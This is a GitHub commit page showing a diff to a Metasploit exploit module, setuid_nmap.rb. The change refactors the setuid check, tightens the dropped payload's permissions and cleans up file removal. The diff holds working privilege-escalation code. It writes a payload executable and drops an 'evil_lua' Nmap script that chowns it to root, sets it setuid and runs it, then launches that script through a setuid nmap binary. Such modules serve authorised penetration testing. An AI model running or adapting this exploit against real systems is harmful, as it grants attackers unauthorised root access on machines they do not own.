Skip to content

Commit d3b3946

Browse files
committed
Use Msf::Post::File#setuid? in setuid_nmap
1 parent 18b8fc2 commit d3b3946

File tree

1 file changed

+8
-9
lines changed

1 file changed

+8
-9
lines changed

modules/exploits/unix/local/setuid_nmap.rb

Lines changed: 8 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -51,12 +51,11 @@ def initialize(info={})
5151
end
5252

5353
def check
54-
stat = session.fs.file.stat(datastore["Nmap"])
55-
if stat and stat.file? and stat.setuid?
56-
vprint_good("#{stat.prettymode} #{datastore["Nmap"]}")
57-
return CheckCode::Vulnerable
54+
if setuid?(datastore['Nmap'])
55+
vprint_good("#{datastore['Nmap']} is setuid")
56+
CheckCode::Vulnerable
5857
end
59-
return CheckCode::Safe
58+
CheckCode::Safe
6059
end
6160

6261
def exploit
@@ -69,16 +68,16 @@ def exploit
6968
write_file(exe_file, generate_payload_exe)
7069
evil_lua = %Q{
7170
os.execute("chown root:root #{exe_file}");
72-
os.execute("chmod 6777 #{exe_file}");
71+
os.execute("chmod 6700 #{exe_file}");
7372
os.execute("#{exe_file} &");
74-
os.execute("rm #{exe_file}");
73+
os.execute("rm -f #{exe_file}");
7574
}
7675
end
7776
lua_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}.nse"
7877
print_status("Dropping lua #{lua_file}")
7978
write_file(lua_file, evil_lua)
8079

81-
print_status("running")
80+
print_status("Running #{lua_file} with Nmap")
8281

8382
scriptname = lua_file
8483
if (lua_file[0,1] == "/")
@@ -91,7 +90,7 @@ def exploit
9190
# Versions before 4.75 (August 2008) will not run scripts without a port scan
9291
cmd_exec "#{datastore["Nmap"]} --script #{scriptname} -p80 localhost #{datastore["ExtraArgs"]}"
9392
ensure
94-
cmd_exec "rm -f #{lua_file} #{exe_file}"
93+
rm_f(lua_file, exe_file)
9594
end
9695

9796
end

0 commit comments

Comments
 (0)